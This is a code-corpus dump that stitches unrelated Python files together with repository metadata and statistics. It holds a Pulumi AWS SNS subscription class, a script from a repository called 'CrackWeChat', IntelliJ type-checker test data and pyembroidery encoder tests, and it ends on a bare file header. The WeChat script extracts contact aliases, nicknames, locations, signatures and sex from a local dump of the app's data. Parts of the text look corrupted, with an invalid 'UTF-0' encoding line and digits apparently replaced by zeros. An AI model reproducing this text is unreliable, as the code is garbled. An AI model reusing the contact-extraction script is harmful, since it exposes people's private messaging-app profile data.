delivery_policy) if endpoint is not None: pulumi.set(__self__, "endpoint", endpoint) if endpoint_auto_confirms is not None: pulumi.set(__self__, "endpoint_auto_confirms", endpoint_auto_confirms) if filter_policy is not None: pulumi.set(__self__, "filter_policy", filter_policy) if owner_id is not None: pulumi.set(__self__, "owner_id", owner_id) if pending_confirmation is not None: pulumi.set(__self__, "pending_confirmation", pending_confirmation) if protocol is not None: pulumi.set(__self__, "protocol", protocol) if raw_message_delivery is not None: pulumi.set(__self__, "raw_message_delivery", raw_message_delivery) if redrive_policy is not None: pulumi.set(__self__, "redrive_policy", redrive_policy) if subscription_role_arn is not None: pulumi.set(__self__, "subscription_role_arn", subscription_role_arn) if topic is not None: pulumi.set(__self__, "topic", topic) @property @pulumi.getter def arn(self) -> Optional[pulumi.Input[str]]: """ ARN of the subscription. """ return pulumi.get(self, "arn") @arn.setter def arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "arn", value) @property @pulumi.getter(name="confirmationTimeoutInMinutes") def confirmation_timeout_in_minutes(self) -> Optional[pulumi.Input[int]]: """ Integer indicating number of minutes to wait in retrying mode for fetching subscription arn before marking it as failure. Only applicable for http and https protocols. Default is `1`. """ return pulumi.get(self, "confirmation_timeout_in_minutes") @confirmation_timeout_in_minutes.setter def confirmation_timeout_in_minutes(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "confirmation_timeout_in_minutes", value) @property @pulumi.getter(name="confirmationWasAuthenticated") def confirmation_was_authenticated(self) -> Optional[pulumi.Input[bool]]: """ Whether the subscription confirmation request was authenticated. """ return pulumi.get(self, "confirmation_was_authenticated") @confirmation_was_authenticated.setter def confirmation_was_authenticated(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "confirmation_was_authenticated", value) @property @pulumi.getter(name="deliveryPolicy") def delivery_policy(self) -> Optional[pulumi.Input[str]]: """ JSON String with the delivery policy (retries, backoff, etc.) that will be used in the subscription - this only applies to HTTP/S subscriptions. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/DeliveryPolicies.html) for more details. """ return pulumi.get(self, "delivery_policy") @delivery_policy.setter def delivery_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "delivery_policy", value) @property @pulumi.getter def endpoint(self) -> Optional[pulumi.Input[str]]: """ Endpoint to send data to. The contents vary with the protocol. See details below. """ return pulumi.get(self, "endpoint") @endpoint.setter def endpoint(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "endpoint", value) @property @pulumi.getter(name="endpointAutoConfirms") def endpoint_auto_confirms(self) -> Optional[pulumi.Input[bool]]: """ Whether the endpoint is capable of [auto confirming subscription](http://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html#SendMessageToHttp.prepare) (e.g., PagerDuty). Default is `false`. """ return pulumi.get(self, "endpoint_auto_confirms") @endpoint_auto_confirms.setter def endpoint_auto_confirms(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "endpoint_auto_confirms", value) @property @pulumi.getter(name="filterPolicy") def filter_policy(self) -> Optional[pulumi.Input[str]]: """ JSON String with the filter policy that will be used in the subscription to filter messages seen by the target resource. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/message-filtering.html) for more details. """ return pulumi.get(self, "filter_policy") @filter_policy.setter def filter_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "filter_policy", value) @property @pulumi.getter(name="ownerId") def owner_id(self) -> Optional[pulumi.Input[str]]: """ AWS account ID of the subscription's owner. """ return pulumi.get(self, "owner_id") @owner_id.setter def owner_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "owner_id", value) @property @pulumi.getter(name="pendingConfirmation") def pending_confirmation(self) -> Optional[pulumi.Input[bool]]: """ Whether the subscription has not been confirmed. """ return pulumi.get(self, "pending_confirmation") @pending_confirmation.setter def pending_confirmation(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "pending_confirmation", value) @property @pulumi.getter def protocol(self) -> Optional[pulumi.Input[str]]: """ Protocol to use. Valid values are: `sqs`, `sms`, `lambda`, `firehose`, and `application`. Protocols `email`, `email-json`, `http` and `https` are also valid but partially supported. See details below. """ return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "protocol", value) @property @pulumi.getter(name="rawMessageDelivery") def raw_message_delivery(self) -> Optional[pulumi.Input[bool]]: """ Whether to enable raw message delivery (the original message is directly passed, not wrapped in JSON with the original message in the message property). Default is `false`. """ return pulumi.get(self, "raw_message_delivery") @raw_message_delivery.setter def raw_message_delivery(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "raw_message_delivery", value) @property @pulumi.getter(name="redrivePolicy") def redrive_policy(self) -> Optional[pulumi.Input[str]]: """ JSON String with the redrive policy that will be used in the subscription. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html#how-messages-moved-into-dead-letter-queue) for more details. """ return pulumi.get(self, "redrive_policy") @redrive_policy.setter def redrive_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "redrive_policy", value) @property @pulumi.getter(name="subscriptionRoleArn") def subscription_role_arn(self) -> Optional[pulumi.Input[str]]: """ ARN of the IAM role to publish to Kinesis Data Firehose delivery stream. Refer to [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-firehose-as-subscriber.html). """ return pulumi.get(self, "subscription_role_arn") @subscription_role_arn.setter def subscription_role_arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "subscription_role_arn", value) @property @pulumi.getter def topic(self) -> Optional[pulumi.Input[str]]: """ ARN of the SNS topic to subscribe to. """ return pulumi.get(self, "topic") @topic.setter def topic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "topic", value) class TopicSubscription(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, confirmation_timeout_in_minutes: Optional[pulumi.Input[int]] = None, delivery_policy: Optional[pulumi.Input[str]] = None, endpoint: Optional[pulumi.Input[str]] = None, endpoint_auto_confirms: Optional[pulumi.Input[bool]] = None, filter_policy: Optional[pulumi.Input[str]] = None, protocol: Optional[pulumi.Input[str]] = None, raw_message_delivery: Optional[pulumi.Input[bool]] = None, redrive_policy: Optional[pulumi.Input[str]] = None, subscription_role_arn: Optional[pulumi.Input[str]] = None, topic: Optional[pulumi.Input[str]] = None, __props__=None): """ Provides a resource for subscribing to SNS topics. Requires that an SNS topic exist for the subscription to attach to. This resource allows you to automatically place messages sent to SNS topics in SQS queues, send them as HTTP(S) POST requests to a given endpoint, send SMS messages, or notify devices / applications. The most likely use case for provider users will probably be SQS queues. > **NOTE:** If the SNS topic and SQS queue are in different AWS regions, the `sns.TopicSubscription` must use an AWS provider that is in the same region as the SNS topic. If the `sns.TopicSubscription` uses a provider with a different region than the SNS topic, this provider will fail to create the subscription. > **NOTE:** Setup of cross-account subscriptions from SNS topics to SQS queues requires the provider to have access to BOTH accounts. > **NOTE:** If an SNS topic and SQS queue are in different AWS accounts but the same region, the `sns.TopicSubscription` must use the AWS provider for the account with the SQS queue. If `sns.TopicSubscription` uses a Provider with a different account than the SQS queue, this provider creates the subscription but does not keep state and tries to re-create the subscription at every `apply`. > **NOTE:** If an SNS topic and SQS queue are in different AWS accounts and different AWS regions, the subscription needs to be initiated from the account with the SQS queue but in the region of the SNS topic. > **NOTE:** You cannot unsubscribe to a subscription that is pending confirmation. If you use `email`, `email-json`, or `http`/`https` (without auto-confirmation enabled), until the subscription is confirmed (e.g., outside of this provider), AWS does not allow this provider to delete / unsubscribe the subscription. If you `destroy` an unconfirmed subscription, this provider will remove the subscription from its state but the subscription will still exist in AWS. However, if you delete an SNS topic, SNS [deletes all the subscriptions](https://docs.aws.amazon.com/sns/latest/dg/sns-delete-subscription-topic.html) associated with the topic. Also, you can import a subscription after confirmation and then have the capability to delete it. ## Import SNS Topic Subscriptions can be imported using the `subscription arn`, e.g. ```sh $ pulumi import aws:sns/topicSubscription:TopicSubscription user_updates_sqs_target arn:aws:sns:us-west-2:0123456789012:my-topic:8a21d249-4329-4871-acc6-7be709c6ea7f ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[int] confirmation_timeout_in_minutes: Integer indicating number of minutes to wait in retrying mode for fetching subscription arn before marking it as failure. Only applicable for http and https protocols. Default is `1`. :param pulumi.Input[str] delivery_policy: JSON String with the delivery policy (retries, backoff, etc.) that will be used in the subscription - this only applies to HTTP/S subscriptions. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/DeliveryPolicies.html) for more details. :param pulumi.Input[str] endpoint: Endpoint to send data to. The contents vary with the protocol. See details below. :param pulumi.Input[bool] endpoint_auto_confirms: Whether the endpoint is capable of [auto confirming subscription](http://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html#SendMessageToHttp.prepare) (e.g., PagerDuty). Default is `false`. :param pulumi.Input[str] filter_policy: JSON String with the filter policy that will be used in the subscription to filter messages seen by the target resource. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/message-filtering.html) for more details. :param pulumi.Input[str] protocol: Protocol to use. Valid values are: `sqs`, `sms`, `lambda`, `firehose`, and `application`. Protocols `email`, `email-json`, `http` and `https` are also valid but partially supported. See details below. :param pulumi.Input[bool] raw_message_delivery: Whether to enable raw message delivery (the original message is directly passed, not wrapped in JSON with the original message in the message property). Default is `false`. :param pulumi.Input[str] redrive_policy: JSON String with the redrive policy that will be used in the subscription. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html#how-messages-moved-into-dead-letter-queue) for more details. :param pulumi.Input[str] subscription_role_arn: ARN of the IAM role to publish to Kinesis Data Firehose delivery stream. Refer to [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-firehose-as-subscriber.html). :param pulumi.Input[str] topic: ARN of the SNS topic to subscribe to. """ ... @overload def __init__(__self__, resource_name: str, args: TopicSubscriptionArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a resource for subscribing to SNS topics. Requires that an SNS topic exist for the subscription to attach to. This resource allows you to automatically place messages sent to SNS topics in SQS queues, send them as HTTP(S) POST requests to a given endpoint, send SMS messages, or notify devices / applications. The most likely use case for provider users will probably be SQS queues. > **NOTE:** If the SNS topic and SQS queue are in different AWS regions, the `sns.TopicSubscription` must use an AWS provider that is in the same region as the SNS topic. If the `sns.TopicSubscription` uses a provider with a different region than the SNS topic, this provider will fail to create the subscription. > **NOTE:** Setup of cross-account subscriptions from SNS topics to SQS queues requires the provider to have access to BOTH accounts. > **NOTE:** If an SNS topic and SQS queue are in different AWS accounts but the same region, the `sns.TopicSubscription` must use the AWS provider for the account with the SQS queue. If `sns.TopicSubscription` uses a Provider with a different account than the SQS queue, this provider creates the subscription but does not keep state and tries to re-create the subscription at every `apply`. > **NOTE:** If an SNS topic and SQS queue are in different AWS accounts and different AWS regions, the subscription needs to be initiated from the account with the SQS queue but in the region of the SNS topic. > **NOTE:** You cannot unsubscribe to a subscription that is pending confirmation. If you use `email`, `email-json`, or `http`/`https` (without auto-confirmation enabled), until the subscription is confirmed (e.g., outside of this provider), AWS does not allow this provider to delete / unsubscribe the subscription. If you `destroy` an unconfirmed subscription, this provider will remove the subscription from its state but the subscription will still exist in AWS. However, if you delete an SNS topic, SNS [deletes all the subscriptions](https://docs.aws.amazon.com/sns/latest/dg/sns-delete-subscription-topic.html) associated with the topic. Also, you can import a subscription after confirmation and then have the capability to delete it. ## Import SNS Topic Subscriptions can be imported using the `subscription arn`, e.g. ```sh $ pulumi import aws:sns/topicSubscription:TopicSubscription user_updates_sqs_target arn:aws:sns:us-west-2:0123456789012:my-topic:8a21d249-4329-4871-acc6-7be709c6ea7f ``` :param str resource_name: The name of the resource. :param TopicSubscriptionArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(TopicSubscriptionArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, confirmation_timeout_in_minutes: Optional[pulumi.Input[int]] = None, delivery_policy: Optional[pulumi.Input[str]] = None, endpoint: Optional[pulumi.Input[str]] = None, endpoint_auto_confirms: Optional[pulumi.Input[bool]] = None, filter_policy: Optional[pulumi.Input[str]] = None, protocol: Optional[pulumi.Input[str]] = None, raw_message_delivery: Optional[pulumi.Input[bool]] = None, redrive_policy: Optional[pulumi.Input[str]] = None, subscription_role_arn: Optional[pulumi.Input[str]] = None, topic: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = TopicSubscriptionArgs.__new__(TopicSubscriptionArgs) __props__.__dict__["confirmation_timeout_in_minutes"] = confirmation_timeout_in_minutes __props__.__dict__["delivery_policy"] = delivery_policy if endpoint is None and not opts.urn: raise TypeError("Missing required property 'endpoint'") __props__.__dict__["endpoint"] = endpoint __props__.__dict__["endpoint_auto_confirms"] = endpoint_auto_confirms __props__.__dict__["filter_policy"] = filter_policy if protocol is None and not opts.urn: raise TypeError("Missing required property 'protocol'") __props__.__dict__["protocol"] = protocol __props__.__dict__["raw_message_delivery"] = raw_message_delivery __props__.__dict__["redrive_policy"] = redrive_policy __props__.__dict__["subscription_role_arn"] = subscription_role_arn if topic is None and not opts.urn: raise TypeError("Missing required property 'topic'") __props__.__dict__["topic"] = topic __props__.__dict__["arn"] = None __props__.__dict__["confirmation_was_authenticated"] = None __props__.__dict__["owner_id"] = None __props__.__dict__["pending_confirmation"] = None super(TopicSubscription, __self__).__init__( 'aws:sns/topicSubscription:TopicSubscription', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, arn: Optional[pulumi.Input[str]] = None, confirmation_timeout_in_minutes: Optional[pulumi.Input[int]] = None, confirmation_was_authenticated: Optional[pulumi.Input[bool]] = None, delivery_policy: Optional[pulumi.Input[str]] = None, endpoint: Optional[pulumi.Input[str]] = None, endpoint_auto_confirms: Optional[pulumi.Input[bool]] = None, filter_policy: Optional[pulumi.Input[str]] = None, owner_id: Optional[pulumi.Input[str]] = None, pending_confirmation: Optional[pulumi.Input[bool]] = None, protocol: Optional[pulumi.Input[str]] = None, raw_message_delivery: Optional[pulumi.Input[bool]] = None, redrive_policy: Optional[pulumi.Input[str]] = None, subscription_role_arn: Optional[pulumi.Input[str]] = None, topic: Optional[pulumi.Input[str]] = None) -> 'TopicSubscription': """ Get an existing TopicSubscription resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] arn: ARN of the subscription. :param pulumi.Input[int] confirmation_timeout_in_minutes: Integer indicating number of minutes to wait in retrying mode for fetching subscription arn before marking it as failure. Only applicable for http and https protocols. Default is `1`. :param pulumi.Input[bool] confirmation_was_authenticated: Whether the subscription confirmation request was authenticated. :param pulumi.Input[str] delivery_policy: JSON String with the delivery policy (retries, backoff, etc.) that will be used in the subscription - this only applies to HTTP/S subscriptions. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/DeliveryPolicies.html) for more details. :param pulumi.Input[str] endpoint: Endpoint to send data to. The contents vary with the protocol. See details below. :param pulumi.Input[bool] endpoint_auto_confirms: Whether the endpoint is capable of [auto confirming subscription](http://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html#SendMessageToHttp.prepare) (e.g., PagerDuty). Default is `false`. :param pulumi.Input[str] filter_policy: JSON String with the filter policy that will be used in the subscription to filter messages seen by the target resource. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/message-filtering.html) for more details. :param pulumi.Input[str] owner_id: AWS account ID of the subscription's owner. :param pulumi.Input[bool] pending_confirmation: Whether the subscription has not been confirmed. :param pulumi.Input[str] protocol: Protocol to use. Valid values are: `sqs`, `sms`, `lambda`, `firehose`, and `application`. Protocols `email`, `email-json`, `http` and `https` are also valid but partially supported. See details below. :param pulumi.Input[bool] raw_message_delivery: Whether to enable raw message delivery (the original message is directly passed, not wrapped in JSON with the original message in the message property). Default is `false`. :param pulumi.Input[str] redrive_policy: JSON String with the redrive policy that will be used in the subscription. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html#how-messages-moved-into-dead-letter-queue) for more details. :param pulumi.Input[str] subscription_role_arn: ARN of the IAM role to publish to Kinesis Data Firehose delivery stream. Refer to [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-firehose-as-subscriber.html). :param pulumi.Input[str] topic: ARN of the SNS topic to subscribe to. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _TopicSubscriptionState.__new__(_TopicSubscriptionState) __props__.__dict__["arn"] = arn __props__.__dict__["confirmation_timeout_in_minutes"] = confirmation_timeout_in_minutes __props__.__dict__["confirmation_was_authenticated"] = confirmation_was_authenticated __props__.__dict__["delivery_policy"] = delivery_policy __props__.__dict__["endpoint"] = endpoint __props__.__dict__["endpoint_auto_confirms"] = endpoint_auto_confirms __props__.__dict__["filter_policy"] = filter_policy __props__.__dict__["owner_id"] = owner_id __props__.__dict__["pending_confirmation"] = pending_confirmation __props__.__dict__["protocol"] = protocol __props__.__dict__["raw_message_delivery"] = raw_message_delivery __props__.__dict__["redrive_policy"] = redrive_policy __props__.__dict__["subscription_role_arn"] = subscription_role_arn __props__.__dict__["topic"] = topic return TopicSubscription(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def arn(self) -> pulumi.Output[str]: """ ARN of the subscription. """ return pulumi.get(self, "arn") @property @pulumi.getter(name="confirmationTimeoutInMinutes") def confirmation_timeout_in_minutes(self) -> pulumi.Output[Optional[int]]: """ Integer indicating number of minutes to wait in retrying mode for fetching subscription arn before marking it as failure. Only applicable for http and https protocols. Default is `1`. """ return pulumi.get(self, "confirmation_timeout_in_minutes") @property @pulumi.getter(name="confirmationWasAuthenticated") def confirmation_was_authenticated(self) -> pulumi.Output[bool]: """ Whether the subscription confirmation request was authenticated. """ return pulumi.get(self, "confirmation_was_authenticated") @property @pulumi.getter(name="deliveryPolicy") def delivery_policy(self) -> pulumi.Output[Optional[str]]: """ JSON String with the delivery policy (retries, backoff, etc.) that will be used in the subscription - this only applies to HTTP/S subscriptions. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/DeliveryPolicies.html) for more details. """ return pulumi.get(self, "delivery_policy") @property @pulumi.getter def endpoint(self) -> pulumi.Output[str]: """ Endpoint to send data to. The contents vary with the protocol. See details below. """ return pulumi.get(self, "endpoint") @property @pulumi.getter(name="endpointAutoConfirms") def endpoint_auto_confirms(self) -> pulumi.Output[Optional[bool]]: """ Whether the endpoint is capable of [auto confirming subscription](http://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html#SendMessageToHttp.prepare) (e.g., PagerDuty). Default is `false`. """ return pulumi.get(self, "endpoint_auto_confirms") @property @pulumi.getter(name="filterPolicy") def filter_policy(self) -> pulumi.Output[Optional[str]]: """ JSON String with the filter policy that will be used in the subscription to filter messages seen by the target resource. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/message-filtering.html) for more details. """ return pulumi.get(self, "filter_policy") @property @pulumi.getter(name="ownerId") def owner_id(self) -> pulumi.Output[str]: """ AWS account ID of the subscription's owner. """ return pulumi.get(self, "owner_id") @property @pulumi.getter(name="pendingConfirmation") def pending_confirmation(self) -> pulumi.Output[bool]: """ Whether the subscription has not been confirmed. """ return pulumi.get(self, "pending_confirmation") @property @pulumi.getter def protocol(self) -> pulumi.Output[str]: """ Protocol to use. Valid values are: `sqs`, `sms`, `lambda`, `firehose`, and `application`. Protocols `email`, `email-json`, `http` and `https` are also valid but partially supported. See details below. """ return pulumi.get(self, "protocol") @property @pulumi.getter(name="rawMessageDelivery") def raw_message_delivery(self) -> pulumi.Output[Optional[bool]]: """ Whether to enable raw message delivery (the original message is directly passed, not wrapped in JSON with the original message in the message property). Default is `false`. """ return pulumi.get(self, "raw_message_delivery") @property @pulumi.getter(name="redrivePolicy") def redrive_policy(self) -> pulumi.Output[Optional[str]]: """ JSON String with the redrive policy that will be used in the subscription. Refer to the [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html#how-messages-moved-into-dead-letter-queue) for more details. """ return pulumi.get(self, "redrive_policy") @property @pulumi.getter(name="subscriptionRoleArn") def subscription_role_arn(self) -> pulumi.Output[Optional[str]]: """ ARN of the IAM role to publish to Kinesis Data Firehose delivery stream. Refer to [SNS docs](https://docs.aws.amazon.com/sns/latest/dg/sns-firehose-as-subscriber.html). """ return pulumi.get(self, "subscription_role_arn") @property @pulumi.getter def topic(self) -> pulumi.Output[str]: """ ARN of the SNS topic to subscribe to. """ return pulumi.get(self, "topic")

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Python

regex/regex.py

yukar1z0e/CrackWeChat

65c181033b8c290693cc37a82d29448fd568ed8c

[ "Apache-2.0" ]

10

2019-09-16T09:24:16.000Z

2021-07-22T07:20:13.000Z

regex/regex.py

yukar1z0e/CrackWeChat

65c181033b8c290693cc37a82d29448fd568ed8c

[ "Apache-2.0" ]

null

regex/regex.py

yukar1z0e/CrackWeChat

65c181033b8c290693cc37a82d29448fd568ed8c

[ "Apache-2.0" ]

15

2019-09-22T19:37:50.000Z

2022-01-18T06:08:21.000Z

# -*- coding: UTF-0 -*- import os import os.path import re print "-----------" for line in open("C:/Users/yakum/Desktop/test0.txt", 'rb'): it0=re.finditer(r"(?<=;Alias: ).*?(?=;EncryptUsername)",str(line)) for match0 in it0: print match0.group() print "-----------" for line in open("C:/Users/yakum/Desktop/test0.txt", 'rb'): it0=re.finditer(r"(?<=;PyInitial: ).*?(?=;Nickname)",str(line)) for match0 in it0: print match0.group() print "-----------" for line in open("C:/Users/yakum/Desktop/test0.txt", 'rb'): it0=re.finditer(r"(?<=;Nickname: ).*?(?=;Province)",str(line)) for match0 in it0: print match0.group() print "-----------" for line in open("C:/Users/yakum/Desktop/test0.txt", 'rb'): it0=re.finditer(r"(?<=;Province: ).*?(?=;City)",str(line)) for match0 in it0: print match0.group() print "-----------" for line in open("C:/Users/yakum/Desktop/test0.txt", 'rb'): it0=re.finditer(r"(?<=;City: ).*?(?=;Signature)",str(line)) for match0 in it0: print match0.group() print "-----------" for line in open("C:/Users/yakum/Desktop/test0.txt", 'rb'): it0=re.finditer(r"(?<=;Signature: ).*?(?=;Sex)",str(line)) for match0 in it0: print match0.group() print "-----------" for line in open("C:/Users/yakum/Desktop/test0.txt", 'rb'): it0=re.finditer(r"(?<=;Sex: ).*?(?=;EN)",str(line)) for match0 in it0: print match0.group() print "-----------"

34.046512

70

0.55806

200

1,464

4.085

0.17

0.068543

0.102815

0.119951

0.837209

0

0.029388

0.163251

1,464

42

71

34.857143

0.637551

0.014344

0

0.74359

0

0.370139

0.172222

0

null

0

0.076923

null

0.384615

0

null

0

1

0

1

0

null

0

1

0

8

2d64733b86cb737f0cd64d405e2294e80be5cb0a

913

py

Python

python/testData/inspections/PyTypeCheckerInspection/ComparisonOperators.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/inspections/PyTypeCheckerInspection/ComparisonOperators.py

Cyril-lamirand/intellij-community

60ab6c61b82fc761dd68363eca7d9d69663cfa39

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/inspections/PyTypeCheckerInspection/ComparisonOperators.py

Cyril-lamirand/intellij-community

60ab6c61b82fc761dd68363eca7d9d69663cfa39

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

def test(): def f(x): """ :type x: str """ pass class C(object): def __gt__(self, other): return [] o = object() c = C() f(<warning descr="Expected type 'str', got 'bool' instead">1 < 2</warning>) f(<warning descr="Expected type 'str', got 'bool' instead">o == o</warning>) f(<warning descr="Expected type 'str', got 'bool' instead">o >= o</warning>) f(<warning descr="Expected type 'str', got 'bool' instead">'foo' > 'bar'</warning>) f(<warning descr="Expected type 'str', got 'bool' instead"><warning descr="Expected type 'int', got 'C' instead">c</warning> < 1</warning>) f(<warning descr="Expected type 'str', got 'list' instead">c > 1</warning>) f(<warning descr="Expected type 'str', got 'bool' instead">c == 1</warning>) f(<warning descr="Expected type 'str', got 'bool' instead">c in [1, 2, 3]</warning>)

45.65

143

0.580504

129

913

4.077519

0.224806

0.205323

0.342205

0.410646

0.743346

0.589354

0

0.011268

0.222344

913

19

144

48.052632

0.729577

0

0.403649

0

null

0.0625

0

null

0

null

1

0

1

0

null

0

1

0

1

0

9

2d66c6761be5cf43ee49fb07d7e5c9209cd76478

4,158

py

Python

test/test_encoder.py

mrjohnmain/pyembroidery

3acaa543e3ffaad67f83092ab3151fce87c76ec4

[ "MIT" ]

null

test/test_encoder.py

mrjohnmain/pyembroidery

3acaa543e3ffaad67f83092ab3151fce87c76ec4

[ "MIT" ]

null

test/test_encoder.py

mrjohnmain/pyembroidery

3acaa543e3ffaad67f83092ab3151fce87c76ec4

[ "MIT" ]

null

from __future__ import print_function import unittest from pattern_for_tests import * class TestEmbpattern(unittest.TestCase): def test_encoder_bookend_color_break(self): pattern = EmbPattern() pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("red") pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern = pattern.get_normalized_pattern() self.assertEqual(len(pattern.threadlist), 1) self.assertEqual(pattern.count_stitch_commands(COLOR_CHANGE), 0) def test_encoder_multiple_internal_breaks(self): pattern = EmbPattern() pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("red") pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("green") pattern.add_command(COLOR_BREAK) pattern = pattern.get_normalized_pattern() self.assertEqual(pattern.count_stitch_commands(COLOR_CHANGE), 4) self.assertEqual(len(pattern.threadlist), 5) def test_encoder_colorchange(self): pattern = EmbPattern() pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("red") pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("green") pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("blue") pattern.add_command(COLOR_BREAK) pattern = pattern.get_normalized_pattern() self.assertEqual(pattern.count_stitch_commands(COLOR_CHANGE) + 1, len(pattern.threadlist)) def test_encoder_needleset(self): pattern = EmbPattern() pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("red") pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("green") pattern.add_command(COLOR_BREAK) pattern.stitch_abs(0, 0) pattern.stitch_abs(0, 100) pattern.stitch_abs(100, 100) pattern.stitch_abs(100, 0) pattern.stitch_abs(0, 0) pattern.add_thread("blue") pattern.add_command(COLOR_BREAK) pattern = pattern.get_normalized_pattern({"thread_change_command": NEEDLE_SET}) self.assertEqual(pattern.count_stitch_commands(NEEDLE_SET), len(pattern.threadlist)) def test_transcode_to_self(self): pattern = get_shift_pattern() from pyembroidery.EmbEncoder import Transcoder encoder = Transcoder() encoder.transcode(pattern, pattern) self.assertNotEquals(len(pattern.stitches), 0)

36.473684

98

0.664262

524

4,158

4.994275

0.10687

0.223538

0.275124

0.175392

0.839129

0.797478

0.781811

0.761941

0.753917

0

0.052947

0.236893

4,158

113

99

36.79646

0.771825

0

0.798077

0

0.013468

0.005051

0

0.067308

1

0.048077

false

0

0.038462

0

0.096154

0.009615

0

null

1

0

1

0

null

0

10

2dc6bfadc24ecea9f04ddd365686b61005d405ce

31,719

py

Python

indriyaan-frontend/decode.py

saurav111/indriyaan

